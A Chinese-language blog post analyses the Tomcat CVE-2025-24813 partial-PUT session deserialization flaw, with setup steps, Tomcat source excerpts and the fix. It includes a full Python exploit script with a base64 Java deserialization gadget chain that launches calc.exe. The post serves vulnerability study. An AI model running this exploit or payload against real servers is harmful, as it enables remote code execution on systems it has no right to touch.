从 CVE-2025-24813 回看 Tomcat 过往漏洞
前言
某天突然发现好几个师傅都在发这个洞,利用条件有那么点苛刻,恰好学弟问到了 session 反序列化的问题,上手分析学习一下,感受与过往漏洞的联系
简述
漏洞影响范围
- 9.0.0.M1 <= Tomcat <= 9.0.98
- 10.1.0-M1 <= Tomcat <= 10.1.34
- 11.0.0-M1 <= Tomcat <= 11.0.2
Tomcat 因为 PUT 出的洞不少,从 CVE-2017-12615 的文件上传,再到 CVE-2024-50379 条件竞争文件上传,CVE-2020-9484 session 反序列化漏洞,最后到了这个把上传和反序列化组合起来的洞
大致流程就是在 Tomcat 处理 HTTP PUT 请求时,Content-Range
头主要用于实现大文件的分块上传,当文件上传未完成时,数据会被临时存储在 Tomcat 的工作目录: $CATALINA_BASE/work/Catalina/localhost/ROOT
Tomcat 解析文件路径时对文件名的处理机制:路径分隔符 /
会被转换为 .
,请求路径 /xxxxx/session
会被解析为 .xxxxx.session
,通过在请求中设置 JSESSIONID=.xxxxx
,可以触发 Tomcat 反序列化机制,从而执行恶意代码。
环境搭建
我在这里使用的是 Tomcat 9.0.85 ,jdk8u65 或者202都可,Windows 环境
在Tomcat 安装的位置,如 apache-tomcat-9.0.85\conf ,修改该目录下的文件如下,content.xml 部分是开启 Tomcat 的 Session 储存功能,web.xml 其实就是开启 PUT ,在 IDEA 里面配置好 Tomcat 去用的话,他会自动读取这个配置,然后在 C:\Users\AppData\Local\JetBrains\IntelliJIdea2024.3\tomcat 目录下生成一个文件夹去存复制过来的配置文件,之后那个重要的 session 文件也会存储在这里
<?xml version="1.0" encoding="UTF-8"?>
<Context>
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
</Context>
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
新建一个项目,加一个web 框架进去,正常配置一个 Tomcat 即可,然后在 WEB-INF/lib 下加入 CB 和 CC 依赖,把 Tomcat 依赖的 jar 包导入到库依赖里,方便后续调试
exp
先把B神写的 exp 放上来后面直接拿着调,payload 拿 yso 生成一个就行
import requests
import base64
def put_request(url, data=None, headers=None, timeout=10, verify=True):
try:
response = requests.put(
url=url,
data=data,
headers=headers,
timeout=timeout,
verify=verify
)
return response
except Exception as e:
print(f"PUT请求发生错误: {e}")
return None
def get_request(url, headers=None, timeout=10, verify=True):
try:
response = requests.get(
url=url,
headers=headers,
timeout=timeout,
verify=verify
)
return response
except Exception as e:
print(f"GET请求发生错误: {e}")
return None
if __name__ == "__main__":
target_url = "http://localhost:8080/CVE_2025_24813_Web_exploded/a/session"
# 序列化的 b64 payload
payload = base64.b64decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABAjK/rq+AAAANABECgAQACUIACYJACcAKAgAKQoABgAqBwArCAAsCAAtCAAdCAAuCgAvADAKAC8AMQcAMgoADQAzBwA0BwA1AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABVMcGF5bG9hZC9SdW50aW1lRXhlYzsBAAg8Y2xpbml0PgEABHZhcjEBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAEdmFyMwEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHACsHABoHADIBAApTb3VyY2VGaWxlAQAQUnVudGltZUV4ZWMuamF2YQwAEQASAQAIY2FsYy5leGUHADYMADcAHgEAAS8MADgAOQEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoAQACLWMBAAIvQwcAOgwAOwA8DAA9AD4BABNqYXZhL2lvL0lPRXhjZXB0aW9uDAA/ABIBAAh6ZXp1ZmNjZQEAEGphdmEvbGFuZy9PYmplY3QBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAEAMABEAEgoAQQBCACEADwBBAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AEOxAAAAAgAUAAAABgABAAAABQAVAAAADAABAAAABQAWABcAAAAIABgAEgABABMAAADTAAQAAwAAAEgSAkuyAAMSBLYABZkAGQa9AAZZAxIHU1kEEghTWQUqU0ynABYGvQAGWQMSCVNZBBIKU1kFKlNMuAALK7YADFenAAhNLLYADrEAAQA3AD8AQgANAAMAFAAAACYACQAAAAcAAwAJAA4ACgAkAAwANwAPAD8AEgBCABAAQwARAEcAEwAVAAAAKgAEACEAAwAZABoAAQBDAAQAGwAcAAIAAwBEAB0AHgAAADcAEAAZABoAAQAfAAAAFQAE/AAkBwAg/AASBwAhSgcAIvkABAABACMAAAACACR1cQB+ABAAAADyyv66vgAAADEAEwEAA0ZvbwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIRm9vLmphdmEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQcABwEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQEABjxpbml0PgEAAygpVgwADgAPCgAEABABAARDb2RlACEAAgAEAAEACAABABoACQAKAAEADQAAAAIACwABAAEADgAPAAEAEgAAABEAAQABAAAABSq3ABGxAAAAAAABAAUAAAACAAZwdAABUHB3AQB4cQB+AA14")
range_len = len(payload)
custom_headers = {
"Content-Range": f"bytes 0-{range_len + 1}/1200"
}
response = put_request(url=target_url, data=payload, headers=custom_headers)
if response.status_code == 409:
print("[+] 文件上传成功")
triggle_url = "http://localhost:8080/CVE_2025_24813_Web_exploded/"
get_headers = {
"JSESSIONID": ".a"
}
get_response = get_request(url=triggle_url, headers=get_headers)
if get_response:
print("[+] 触发 Payload")
文件上传
进到 DefaultServlet#doPut
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {
this.sendNotAllowed(req, resp);
} else {
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
Range range = this.parseContentRange(req, resp);
if (range != null) {
InputStream resourceInputStream = null;
try {
if (range == IGNORE) {
resourceInputStream = req.getInputStream();
} else {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
}
if (this.resources.write(path, resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
} else {
resp.sendError(409);
}
} finally {
if (resourceInputStream != null) {
try {
resourceInputStream.close();
} catch (IOException var13) {
}
}
}
}
}
}
重点是里面的executePartialPut
方法
WebResource resource = this.resources.getResource(path);
获取到 Web 根目录,然后传文件上去,这里会把/
替换成.
Range range = this.parseContentRange(req, resp);
对传入的数据进行解析拿出 range ,那么什么是 range?
Content-Range
的典型用途就是断点续传,或者大文件分片下载,然后通过 range 去指定范围
具体的 parse 流程就是先进到这个 parse
然后 readToken 读取出来单位为 bytes
,再读取首尾以及长度
所以标准的Content-Range
解析格式是这种
Content-Range: bytes 200-1000/67589
然后就写进去了,我在测试的时候没有发现长度和之前那个分块大小的关系,好像怎么都行?
session反序列化
在复现这个 CVE 之前,先回顾一下历史漏洞
CVE-2020-9484
用户上传了一个 /tmp/xxx.session 文件,就可以通过 Cookie 来触发 xxx.session 的反序列化
Cookie: JSESSIONID=../../../../../tmp/xxx
其中核心就是要开启 session FileStore,这也正是CVE-2025-24813的配置要求。
开启这个选项之后,在不带 cookie 去访问,然后把 Tomcat 服务关掉,会保留下序列化的 session 文件,这恰好是我们上传那个文件的缓存目录
触发点
FileStore#load
方法里面的 readObject
public Session load(String id) throws ClassNotFoundException, IOException {
File file = this.file(id);
if (file != null && file.exists()) {
Context context = this.getManager().getContext();
Log contextLog = context.getLogger();
if (contextLog.isDebugEnabled()) {
contextLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
}
ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);
Object ois;
try {
try {
FileInputStream fis = new FileInputStream(file.getAbsolutePath());
StandardSession var9;
try {
ObjectInputStream ois = this.getObjectInputStream(fis);
try {
StandardSession session = (StandardSession)this.manager.createEmptySession();
session.readObjectData(ois);
session.setManager(this.manager);
var9 = session;
} catch (Throwable var19) {
if (ois != null) {
try {
ois.close();
} catch (Throwable var18) {
var19.addSuppressed(var18);
}
}
throw var19;
}
if (ois != null) {
ois.close();
}
} catch (Throwable var20) {
try {
fis.close();
} catch (Throwable var17) {
var20.addSuppressed(var17);
}
throw var20;
}
fis.close();
return var9;
} catch (FileNotFoundException var21) {
if (contextLog.isDebugEnabled()) {
contextLog.debug("No persisted data file found");
}
}
ois = null;
} finally {
context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
}
return (Session)ois;
} else {
return null;
}
}
运行之后可以再发个包 ,exp 上传的会在缓存消失时触发一次
修复
https://github.com/apache/tomcat/commit/0a668e0c27f2b7ca0cc7c6eea32253b9b5ecb29c
非常显然,对于上传的目录做了限制
参考文章
https://boogipop.com/2025/03/13/CVE-2025-24813 Tomcat Session 反序列化组合拳/